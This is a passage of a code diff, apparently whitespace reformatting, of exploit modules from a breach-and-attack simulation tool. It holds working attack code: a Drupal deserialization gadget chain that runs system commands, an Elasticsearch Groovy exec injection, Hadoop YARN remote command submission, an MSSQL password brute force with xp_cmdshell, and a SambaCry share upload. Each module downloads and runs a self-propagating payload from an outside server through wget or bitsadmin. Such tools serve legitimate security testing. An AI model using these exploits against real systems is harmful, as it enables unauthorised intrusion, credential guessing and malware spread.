"_links":{"type":{"href":f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
|
"_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}},
|
||||||
"type":{"target_id":"article"},
|
"type": {"target_id": "article"},
|
||||||
"title":{"value":"My Article"},
|
"title": {"value": "My Article"},
|
||||||
"body":{"value":""},
|
"body": {"value": ""},
|
||||||
}
|
}
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
|
||||||
def build_cmd_execution_payload(base, cmd):
|
def build_cmd_execution_payload(base, cmd):
|
||||||
payload = {
|
payload = {
|
||||||
"link":[
|
"link": [
|
||||||
{
|
{
|
||||||
"value":"link",
|
"value": "link",
|
||||||
"options":'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
|
"options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000'
|
||||||
'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
|
'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"'
|
||||||
'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
|
'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:'
|
||||||
'{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
|
'{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";'
|
||||||
's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
|
's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000'
|
||||||
'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
|
'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000'
|
||||||
'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
|
'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"'
|
||||||
'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
|
'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}'
|
||||||
"".replace("|size|", str(len(cmd))).replace("|command|", cmd),
|
"".replace("|size|", str(len(cmd))).replace("|command|", cmd),
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"_links":{"type":{"href":f"{urljoin(base, '/rest/type/shortcut/default')}"}},
|
"_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}},
|
||||||
}
|
}
|
||||||
return payload
|
return payload
|
||||||
|
|
|
@ -34,11 +34,11 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
# attack URLs
|
# attack URLs
|
||||||
MONKEY_RESULT_FIELD = "monkey_result"
|
MONKEY_RESULT_FIELD = "monkey_result"
|
||||||
GENERIC_QUERY = (
|
GENERIC_QUERY = (
|
||||||
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
|
"""{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD
|
||||||
)
|
)
|
||||||
JAVA_CMD = (
|
JAVA_CMD = (
|
||||||
GENERIC_QUERY
|
GENERIC_QUERY
|
||||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(
|
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(
|
||||||
\\"%s\\").getText()"""
|
\\"%s\\").getText()"""
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -53,8 +53,8 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
exploit_config["dropper"] = True
|
exploit_config["dropper"] = True
|
||||||
exploit_config["url_extensions"] = ["_search?pretty"]
|
exploit_config["url_extensions"] = ["_search?pretty"]
|
||||||
exploit_config["upload_commands"] = {
|
exploit_config["upload_commands"] = {
|
||||||
"linux":WGET_HTTP_UPLOAD,
|
"linux": WGET_HTTP_UPLOAD,
|
||||||
"windows":CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
|
"windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP,
|
||||||
}
|
}
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
|
||||||
|
@ -73,8 +73,8 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
|
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
|
||||||
except requests.ReadTimeout:
|
except requests.ReadTimeout:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Elastic couldn't upload monkey, because server didn't respond to upload "
|
"Elastic couldn't upload monkey, because server didn't respond to upload "
|
||||||
"request."
|
"request."
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
result = self.get_results(response)
|
result = self.get_results(response)
|
||||||
|
|
|
@ -64,27 +64,25 @@ class HadoopExploiter(WebRCE):
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
# Get the newly created application id
|
# Get the newly created application id
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
|
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
|
||||||
timeout=LONG_REQUEST_TIMEOUT
|
|
||||||
)
|
)
|
||||||
resp = json.loads(resp.content)
|
resp = json.loads(resp.content)
|
||||||
app_id = resp["application-id"]
|
app_id = resp["application-id"]
|
||||||
# Create a random name for our application in YARN
|
# Create a random name for our application in YARN
|
||||||
rand_name = ID_STRING + "".join(
|
rand_name = ID_STRING + "".join(
|
||||||
[random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
[random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
||||||
)
|
)
|
||||||
payload = self.build_payload(app_id, rand_name, command)
|
payload = self.build_payload(app_id, rand_name, command)
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload,
|
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||||
timeout=LONG_REQUEST_TIMEOUT
|
|
||||||
)
|
)
|
||||||
return resp.status_code == 202
|
return resp.status_code == 202
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
def check_if_exploitable(self, url):
|
||||||
try:
|
try:
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
|
posixpath.join(url, "ws/v1/cluster/apps/new-application"),
|
||||||
timeout=LONG_REQUEST_TIMEOUT,
|
timeout=LONG_REQUEST_TIMEOUT,
|
||||||
)
|
)
|
||||||
except requests.ConnectionError:
|
except requests.ConnectionError:
|
||||||
return False
|
return False
|
||||||
|
@ -93,8 +91,7 @@ class HadoopExploiter(WebRCE):
|
||||||
def build_command(self, path, http_path):
|
def build_command(self, path, http_path):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(
|
monkey_cmd = build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1,
|
self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]
|
||||||
vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0]
|
|
||||||
)
|
)
|
||||||
if "linux" in self.host.os["type"]:
|
if "linux" in self.host.os["type"]:
|
||||||
base_command = HADOOP_LINUX_COMMAND
|
base_command = HADOOP_LINUX_COMMAND
|
||||||
|
@ -102,22 +99,22 @@ class HadoopExploiter(WebRCE):
|
||||||
base_command = HADOOP_WINDOWS_COMMAND
|
base_command = HADOOP_WINDOWS_COMMAND
|
||||||
|
|
||||||
return base_command % {
|
return base_command % {
|
||||||
"monkey_path":path,
|
"monkey_path": path,
|
||||||
"http_path":http_path,
|
"http_path": http_path,
|
||||||
"monkey_type":MONKEY_ARG,
|
"monkey_type": MONKEY_ARG,
|
||||||
"parameters":monkey_cmd,
|
"parameters": monkey_cmd,
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def build_payload(app_id, name, command):
|
def build_payload(app_id, name, command):
|
||||||
payload = {
|
payload = {
|
||||||
"application-id":app_id,
|
"application-id": app_id,
|
||||||
"application-name":name,
|
"application-name": name,
|
||||||
"am-container-spec":{
|
"am-container-spec": {
|
||||||
"commands":{
|
"commands": {
|
||||||
"command":command,
|
"command": command,
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"application-type":"YARN",
|
"application-type": "YARN",
|
||||||
}
|
}
|
||||||
return payload
|
return payload
|
||||||
|
|
|
@ -50,7 +50,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
self.cursor = None
|
self.cursor = None
|
||||||
self.monkey_server = None
|
self.monkey_server = None
|
||||||
self.payload_file_path = os.path.join(
|
self.payload_file_path = os.path.join(
|
||||||
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
|
MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME
|
||||||
)
|
)
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
|
@ -62,7 +62,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
# Brute force to get connection
|
# Brute force to get connection
|
||||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
self.cursor = self.brute_force(
|
self.cursor = self.brute_force(
|
||||||
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list
|
self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list
|
||||||
)
|
)
|
||||||
|
|
||||||
# Create dir for payload
|
# Create dir for payload
|
||||||
|
@ -92,13 +92,13 @@ class MSSQLExploiter(HostExploiter):
|
||||||
|
|
||||||
def create_temp_dir(self):
|
def create_temp_dir(self):
|
||||||
dir_creation_command = MSSQLLimitedSizePayload(
|
dir_creation_command = MSSQLLimitedSizePayload(
|
||||||
command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
|
command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
|
||||||
)
|
)
|
||||||
self.run_mssql_command(dir_creation_command)
|
self.run_mssql_command(dir_creation_command)
|
||||||
|
|
||||||
def create_empty_payload_file(self):
|
def create_empty_payload_file(self):
|
||||||
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(
|
suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(
|
||||||
payload_file_path=self.payload_file_path
|
payload_file_path=self.payload_file_path
|
||||||
)
|
)
|
||||||
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
|
||||||
self.run_mssql_command(tmp_file_creation_command)
|
self.run_mssql_command(tmp_file_creation_command)
|
||||||
|
@ -127,11 +127,11 @@ class MSSQLExploiter(HostExploiter):
|
||||||
def remove_temp_dir(self):
|
def remove_temp_dir(self):
|
||||||
# Remove temporary dir we stored payload at
|
# Remove temporary dir we stored payload at
|
||||||
tmp_file_removal_command = MSSQLLimitedSizePayload(
|
tmp_file_removal_command = MSSQLLimitedSizePayload(
|
||||||
command="del {}".format(self.payload_file_path)
|
command="del {}".format(self.payload_file_path)
|
||||||
)
|
)
|
||||||
self.run_mssql_command(tmp_file_removal_command)
|
self.run_mssql_command(tmp_file_removal_command)
|
||||||
tmp_dir_removal_command = MSSQLLimitedSizePayload(
|
tmp_dir_removal_command = MSSQLLimitedSizePayload(
|
||||||
command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
|
command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH)
|
||||||
)
|
)
|
||||||
self.run_mssql_command(tmp_dir_removal_command)
|
self.run_mssql_command(tmp_dir_removal_command)
|
||||||
|
|
||||||
|
@ -151,27 +151,27 @@ class MSSQLExploiter(HostExploiter):
|
||||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||||
# Form monkey's launch command
|
# Form monkey's launch command
|
||||||
monkey_args = build_monkey_commandline(
|
monkey_args = build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path
|
self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path
|
||||||
)
|
)
|
||||||
suffix = ">>{}".format(self.payload_file_path)
|
suffix = ">>{}".format(self.payload_file_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
return MSSQLLimitedSizePayload(
|
return MSSQLLimitedSizePayload(
|
||||||
command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
|
command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
|
||||||
prefix=prefix,
|
prefix=prefix,
|
||||||
suffix=suffix,
|
suffix=suffix,
|
||||||
)
|
)
|
||||||
|
|
||||||
def get_monkey_download_command(self):
|
def get_monkey_download_command(self):
|
||||||
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
dst_path = get_monkey_dest_path(self.monkey_server.http_path)
|
||||||
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format(
|
||||||
http_path=self.monkey_server.http_path, dst_path=dst_path
|
http_path=self.monkey_server.http_path, dst_path=dst_path
|
||||||
)
|
)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
|
suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(
|
||||||
payload_file_path=self.payload_file_path
|
payload_file_path=self.payload_file_path
|
||||||
)
|
)
|
||||||
return MSSQLLimitedSizePayload(
|
return MSSQLLimitedSizePayload(
|
||||||
command=monkey_download_command, suffix=suffix, prefix=prefix
|
command=monkey_download_command, suffix=suffix, prefix=prefix
|
||||||
)
|
)
|
||||||
|
|
||||||
def brute_force(self, host, port, users_passwords_pairs_list):
|
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||||
|
@ -196,12 +196,11 @@ class MSSQLExploiter(HostExploiter):
|
||||||
# Core steps
|
# Core steps
|
||||||
# Trying to connect
|
# Trying to connect
|
||||||
conn = pymssql.connect(
|
conn = pymssql.connect(
|
||||||
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
|
host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT
|
||||||
)
|
)
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Successfully connected to host: {0}, using user: {1}, password ("
|
"Successfully connected to host: {0}, using user: {1}, password ("
|
||||||
"SHA-512): {2}".format(host, user,
|
"SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password))
|
||||||
self._config.hash_sensitive_data(password))
|
|
||||||
)
|
)
|
||||||
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
|
||||||
self.report_login_attempt(True, user, password)
|
self.report_login_attempt(True, user, password)
|
||||||
|
@ -213,19 +212,19 @@ class MSSQLExploiter(HostExploiter):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
LOG.warning(
|
LOG.warning(
|
||||||
"No user/password combo was able to connect to host: {0}:{1}, "
|
"No user/password combo was able to connect to host: {0}:{1}, "
|
||||||
"aborting brute force".format(host, port)
|
"aborting brute force".format(host, port)
|
||||||
)
|
)
|
||||||
raise FailedExploitationError(
|
raise FailedExploitationError(
|
||||||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||||
def __init__(self, command, prefix="", suffix=""):
|
def __init__(self, command, prefix="", suffix=""):
|
||||||
super(MSSQLLimitedSizePayload, self).__init__(
|
super(MSSQLLimitedSizePayload, self).__init__(
|
||||||
command=command,
|
command=command,
|
||||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
||||||
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
|
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
|
||||||
)
|
)
|
||||||
|
|
|
@ -89,13 +89,13 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Writable shares and their credentials on host %s: %s"
|
"Writable shares and their credentials on host %s: %s"
|
||||||
% (self.host.ip_addr, str(writable_shares_creds_dict))
|
% (self.host.ip_addr, str(writable_shares_creds_dict))
|
||||||
)
|
)
|
||||||
|
|
||||||
self.exploit_info["shares"] = {}
|
self.exploit_info["shares"] = {}
|
||||||
for share in writable_shares_creds_dict:
|
for share in writable_shares_creds_dict:
|
||||||
self.exploit_info["shares"][share] = {"creds":writable_shares_creds_dict[share]}
|
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||||
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
||||||
|
|
||||||
# Wait for samba server to load .so, execute code and create result file.
|
# Wait for samba server to load .so, execute code and create result file.
|
||||||
|
@ -105,23 +105,23 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
for share in writable_shares_creds_dict:
|
for share in writable_shares_creds_dict:
|
||||||
trigger_result = self.get_trigger_result(
|
trigger_result = self.get_trigger_result(
|
||||||
self.host.ip_addr, share, writable_shares_creds_dict[share]
|
self.host.ip_addr, share, writable_shares_creds_dict[share]
|
||||||
)
|
)
|
||||||
creds = writable_shares_creds_dict[share]
|
creds = writable_shares_creds_dict[share]
|
||||||
self.report_login_attempt(
|
self.report_login_attempt(
|
||||||
trigger_result is not None,
|
trigger_result is not None,
|
||||||
creds["username"],
|
creds["username"],
|
||||||
creds["password"],
|
creds["password"],
|
||||||
creds["lm_hash"],
|
creds["lm_hash"],
|
||||||
creds["ntlm_hash"],
|
creds["ntlm_hash"],
|
||||||
)
|
)
|
||||||
if trigger_result is not None:
|
if trigger_result is not None:
|
||||||
successfully_triggered_shares.append((share, trigger_result))
|
successfully_triggered_shares.append((share, trigger_result))
|
||||||
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
|
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
|
||||||
"username":creds["username"],
|
"username": creds["username"],
|
||||||
"host":self.host.ip_addr,
|
"host": self.host.ip_addr,
|
||||||
"port":self.SAMBA_PORT,
|
"port": self.SAMBA_PORT,
|
||||||
"share_name":share,
|
"share_name": share,
|
||||||
}
|
}
|
||||||
self.add_vuln_url(url)
|
self.add_vuln_url(url)
|
||||||
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||||
|
@ -131,8 +131,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
if len(successfully_triggered_shares) > 0:
|
if len(successfully_triggered_shares) > 0:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Shares triggered successfully on host %s: %s"
|
"Shares triggered successfully on host %s: %s"
|
||||||
% (self.host.ip_addr, str(successfully_triggered_shares))
|
% (self.host.ip_addr, str(successfully_triggered_shares))
|
||||||
)
|
)
|
||||||
self.add_vuln_port(self.SAMBA_PORT)
|
self.add_vuln_port(self.SAMBA_PORT)
|
||||||
return True
|
return True
|
||||||
|
@ -152,8 +152,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
self.trigger_module(smb_client, share)
|
self.trigger_module(smb_client, share)
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError):
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Exception trying to exploit host: %s, share: %s, with creds: %s."
|
"Exception trying to exploit host: %s, share: %s, with creds: %s."
|
||||||
% (self.host.ip_addr, share, str(creds))
|
% (self.host.ip_addr, share, str(creds))
|
||||||
)
|
)
|
||||||
|
|
||||||
def clean_share(self, ip, share, creds):
|
def clean_share(self, ip, share, creds):
|
||||||
|
@ -195,8 +195,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
file_content = None
|
file_content = None
|
||||||
try:
|
try:
|
||||||
file_id = smb_client.openFile(
|
file_id = smb_client.openFile(
|
||||||
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
|
||||||
desiredAccess=FILE_READ_DATA
|
|
||||||
)
|
)
|
||||||
file_content = smb_client.readFile(tree_id, file_id)
|
file_content = smb_client.readFile(tree_id, file_id)
|
||||||
smb_client.closeFile(tree_id, file_id)
|
smb_client.closeFile(tree_id, file_id)
|
||||||
|
@ -237,12 +236,12 @@ class SambaCryExploiter(HostExploiter):
|
||||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
creds = [
|
creds = [
|
||||||
{"username":user, "password":password, "lm_hash":lm_hash, "ntlm_hash":ntlm_hash}
|
{"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
|
||||||
for user, password, lm_hash, ntlm_hash in creds
|
for user, password, lm_hash, ntlm_hash in creds
|
||||||
]
|
]
|
||||||
|
|
||||||
# Add empty credentials for anonymous shares.
|
# Add empty credentials for anonymous shares.
|
||||||
creds.insert(0, {"username":"", "password":"", "lm_hash":"", "ntlm_hash":""})
|
creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
|
||||||
|
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@ -268,28 +267,28 @@ class SambaCryExploiter(HostExploiter):
|
||||||
pattern_result = pattern.search(smb_server_name)
|
pattern_result = pattern.search(smb_server_name)
|
||||||
is_vulnerable = False
|
is_vulnerable = False
|
||||||
if pattern_result is not None:
|
if pattern_result is not None:
|
||||||
samba_version = smb_server_name[pattern_result.start(): pattern_result.end()]
|
samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
|
||||||
samba_version_parts = samba_version.split(".")
|
samba_version_parts = samba_version.split(".")
|
||||||
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (
|
elif (
|
||||||
(samba_version_parts[0] == "4")
|
(samba_version_parts[0] == "4")
|
||||||
and (samba_version_parts[1] == "4")
|
and (samba_version_parts[1] == "4")
|
||||||
and (samba_version_parts[1] <= "13")
|
and (samba_version_parts[1] <= "13")
|
||||||
):
|
):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (
|
elif (
|
||||||
(samba_version_parts[0] == "4")
|
(samba_version_parts[0] == "4")
|
||||||
and (samba_version_parts[1] == "5")
|
and (samba_version_parts[1] == "5")
|
||||||
and (samba_version_parts[1] <= "9")
|
and (samba_version_parts[1] <= "9")
|
||||||
):
|
):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
elif (
|
elif (
|
||||||
(samba_version_parts[0] == "4")
|
(samba_version_parts[0] == "4")
|
||||||
and (samba_version_parts[1] == "6")
|
and (samba_version_parts[1] == "6")
|
||||||
and (samba_version_parts[1] <= "3")
|
and (samba_version_parts[1] <= "3")
|
||||||
):
|
):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
else:
|
else:
|
||||||
|
@ -297,8 +296,8 @@ class SambaCryExploiter(HostExploiter):
|
||||||
is_vulnerable = True
|
is_vulnerable = True
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
|
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
|
||||||
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
|
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
|
||||||
)
|
)
|
||||||
|
|
||||||
return is_vulnerable
|
return is_vulnerable
|
||||||
|
@ -312,20 +311,20 @@ class SambaCryExploiter(HostExploiter):
|
||||||
tree_id = smb_client.connectTree(share)
|
tree_id = smb_client.connectTree(share)
|
||||||
|
|
||||||
with self.get_monkey_commandline_file(
|
with self.get_monkey_commandline_file(
|
||||||
self._config.dropper_target_path_linux
|
self._config.dropper_target_path_linux
|
||||||
) as monkey_commandline_file:
|
) as monkey_commandline_file:
|
||||||
smb_client.putFile(
|
smb_client.putFile(
|
||||||
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
|
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
|
||||||
)
|
)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||||
smb_client.putFile(
|
smb_client.putFile(
|
||||||
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
|
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
|
||||||
)
|
)
|
||||||
|
|
||||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||||
smb_client.putFile(
|
smb_client.putFile(
|
||||||
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
|
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
|
||||||
)
|
)
|
||||||
|
|
||||||
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||||
|
@ -333,18 +332,18 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||||
smb_client.putFile(
|
smb_client.putFile(
|
||||||
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
|
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
|
||||||
)
|
)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||||
smb_client.putFile(
|
smb_client.putFile(
|
||||||
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
|
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
|
||||||
)
|
)
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
ScanStatus.USED,
|
ScanStatus.USED,
|
||||||
get_interface_to_target(self.host.ip_addr),
|
get_interface_to_target(self.host.ip_addr),
|
||||||
self.host.ip_addr,
|
self.host.ip_addr,
|
||||||
monkey_bin_64_src_path,
|
monkey_bin_64_src_path,
|
||||||
).send()
|
).send()
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
|
@ -404,11 +403,10 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(
|
return BytesIO(
|
||||||
DROPPER_ARG
|
DROPPER_ARG
|
||||||
+ build_monkey_commandline(
|
+ build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT,
|
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
|
||||||
str(location)
|
)
|
||||||
)
|
|
||||||
)
|
)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -446,11 +444,11 @@ class SambaCryExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
smb_client = SMBConnection(ip, ip)
|
smb_client = SMBConnection(ip, ip)
|
||||||
smb_client.login(
|
smb_client.login(
|
||||||
credentials["username"],
|
credentials["username"],
|
||||||
credentials["password"],
|
credentials["password"],
|
||||||
"",
|
"",
|
||||||
credentials["lm_hash"],
|
credentials["lm_hash"],
|
||||||
